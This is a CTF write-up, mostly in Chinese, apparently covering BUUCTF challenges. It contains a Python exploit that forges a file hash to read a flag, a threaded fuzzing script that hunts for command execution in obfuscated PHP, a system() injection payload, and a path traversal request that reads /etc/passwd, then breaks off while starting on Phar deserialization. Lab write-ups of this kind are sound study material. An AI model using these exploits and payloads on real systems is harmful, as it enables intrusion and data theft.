exp.py
import hashlib import requests def md5(s): md5 = hashlib.md5() md5.update(s.encode()) return md5.hexdigest() filename = "/fllllllllllllag" cookie_secret = "9c83fab7-1b67-404c-9aa8-69453579ac8c" filehash = md5(cookie_secret + md5(filename)) url = "http://93dc9c40-c8fc-4f2c-bce7-e28fae7437a6.node2.buuoj.cn.wetolink.com:82/file?filename=%s&filehash=%s" % (filename, filehash) html = requests.get(url) print(html.text) 高明的黑客审计代码
拷贝下源码后发现有3000份文件,审计文件代码发现代码非常混乱
仔细观察可以看到代码中存在非常多的$_GET以及$_POST,以及命令执行函数
$_GET['xd0UXc39w'] = ' '; assert($_GET['xd0UXc39w'] ?? ' ');但基本都如上段代码一样无法利用
解题思路
0x00 先测试源码包中是否存在可以执行命令的点
0x01 代码量过大,脚本执行时间可能会过长,开启多线程
解题方法
# encoding: utf-8 import os import requests from concurrent.futures.thread import ThreadPoolExecutor url = "http://localhost/CTF/BUUCTF/SmartHacker/src/" path = "/Applications/XAMPP/xamppfiles/htdocs/CTF/BUUCTF/SmartHacker/src/" files = os.listdir(path) pool = ThreadPoolExecutor(max_workers=5) def read_file(file): str = open(path + "http://www.likecs.com/" + file, 'r').read() # catch GET start = 0 params = {} while str.find("$_GET['", start) != -1: pos2 = str.find("']", str.find("$_GET['", start) + 1) var = str[str.find("$_GET['", start) + 7: pos2] start = pos2 + 1 params[var] = 'print "get---";' # catch POST start = 0 data = {} while str.find("$_POST['", start) != -1: pos2 = str.find("']", str.find("$_POST['", start) + 1) var = str[str.find("$_POST['", start) + 8: pos2] start = pos2 + 1 data[var] = 'print post---;' # eval assert r = requests.post(url + file, data=data, params=params) if 'get---' in r.text: print(file, "found!A!get method") elif 'post---' in r.text: print(file, "found!A!post method") # system for i in params: params[i] = 'echo get---;' for i in data: data[i] = 'echo post---;' r = requests.post(url + file, data=data, params=params) if 'get---' in r.text: print(file, "found!B!get method") elif 'post---' in r.text: print(file, "found!B!post method") if __name__ == '__main__': for file in files: if not os.path.isdir(file): pool.submit(read_file, file)脚本结果
xk0SzyKwfzw.php found!B!get methodxk0SzyKwfzw.php中$_GET和system()结合的命令执行漏洞
审计代码
搜索xk0SzyKwfzw.php中的$_GET全局变量,在line 300发此现漏洞
$XnEGfa = $_GET['Efa5BVG'] ?? ' '; $aYunX = "sY"; $aYunX .= "stEmXnsTcx"; $aYunX = explode('Xn', $aYunX); $kDxfM = new stdClass(); $kDxfM->gHht = $aYunX[0]; ($kDxfM->gHht)($XnEGfa); payload: /xk0SzyKwfzw.php?Efa5BVG=cat%20/flag Dropbox(未完成)上传测试后发现只能上传图片类型文件
抓包
POST /download.php HTTP/1.1 ... Cookie: PHPSESSID=94b78b93ffa19e6bc6d07e0da5307548 Connection: keep-alive Upgrade-Insecure-Requests: 1 filename=%E5%9B%BE%E7%89%87%E9%A9%AC.png放包之后会显示文件内容
目录穿越
filename=../../../../../etc/passwd显示结果
root:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin ... mysql:x:100:101:mysql:/var/lib/mysql:/sbin/nologin nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin题目中的主要文件
. ├── class.php ├── delete.php ├── download.php ├── index.php ├── login.php └── register.phpclass.php是核心文件
class.php(简化)
<?php class User { public $db; public function __destruct() { $this->db->close(); } } class FileList { private $files; private $results; private $funcs; public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { ... echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function close() { return file_get_contents($this->filename); } } ?>File类中的close()方法存在RCE vulnerability
Q: 如何利用RCE vulnerability?
代码中并不 unserialize(),但存在文件上传点
Attack PHP Deserialization Vulnerability via Phar the Phar File Structure 0x00 A Stub